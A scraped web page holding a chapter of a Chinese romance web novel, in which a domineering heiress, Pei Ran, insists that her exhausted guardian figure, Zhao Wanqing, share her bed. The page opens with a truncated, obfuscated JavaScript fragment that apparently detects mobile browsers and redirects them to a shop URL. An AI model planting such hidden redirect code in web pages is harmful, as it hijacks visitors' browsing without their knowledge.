l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17746489|207925||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 在走时的老钟,这才发现竟然已经凌晨三点了。 赵婉清满脸疲惫,显然刚下飞机,从国外到国内,她还没有适应新的时差。 “小公主,让我休息一会吧,我确实很累。” 为了赵家那单大生意,她已经整整三个月没有睡好,往返于国内外之间。如果有人说自己下一秒就会猝死,她也毫不意外。 此时,裴苒的目的已经全部达成,毕竟赵婉清再不情愿,也还是顺着她的意和她‘共进晚餐’。 这会,她总算是生出了一些心疼人的意味来,夸张的要陪她一起上楼睡觉。 “那个谁?”她随口喊话一个离得最近的仆人。 她向来记不清她们的名字,只在乎结果:“婉清姐姐的房间都收拾好了吗?” 一个叫安妮的女仆迅速上前:“大小姐,已经按照您的吩咐收拾好了。” 家里的佣人叫裴苒大小姐,只有赵婉清会在佣人面前称呼她为小小姐。 裴苒并不觉得‘小小姐’这个称呼有什么不对,甚至觉得这是赵婉清对自己‘特别’的表现,因而很是喜爱这个称呼。 赵婉清敏感的察觉到一丝不对劲:“小公主,你又吩咐了她们什么?” “哦。”裴苒理所当然的说:“我只是让她们把我的东西也搬进了你的房间。” “今晚我想和你一起睡。” 对上赵婉清如遭雷劈的表情,裴苒原本笑吟吟的脸颊也瞬间挂了下来。 她冷冷道:“怎么了?你不想和我一起睡吗?” 挂起脸来的裴苒倒是真有几分大小姐的气势,叫人看着十分害怕。 赵婉清不想在这件事上过多纠结,毕竟她真的很累,现在只想快点睡觉。 “没有,我只是奇怪。” 裴苒不以为意道:“有什么好奇怪的?我们从小不都一起睡吗?” 赵婉清没有说话,只是用一种无法用语言形容的目光上下打量了裴苒一眼,然后才艰难开口:“现在不一样,你已经是一位大姑娘了。” 还有一句话她没有说出口,那就是,她们应该避嫌。 但裴苒明显不准备考虑这么多,她向来想做什么就做什么,不参考别人的意见。 “我已经很久没有见到你了,今晚我就要和你一起睡觉。” 她斩钉截铁的语气不给人留任何余地,赵婉清知道,这件事没得商量了,索性不再说什么。 浴室的水龙头从头顶倾洒而下时,她久违的感觉到了一种轻松,仿佛周身的疲惫感也被这冰凉的水冲走一般。 “还没洗好吗?” 浴室外传来恶鬼索命一般的声音,是裴苒在叫她。 赵婉清擦了擦身上的水,又换上新的睡衣,湿漉漉的走出浴室。 裴苒已经躺在床上,身上盖着一层轻薄的被子。 黑暗中所有感官都被放大,因此赵婉清轻易捕捉到对方盯着自己时那灼热的,几乎要将她烫伤的目光。 痴女。她莫名联想到这个词。 一个恐怖的、恶毒的、漂亮的,小痴女。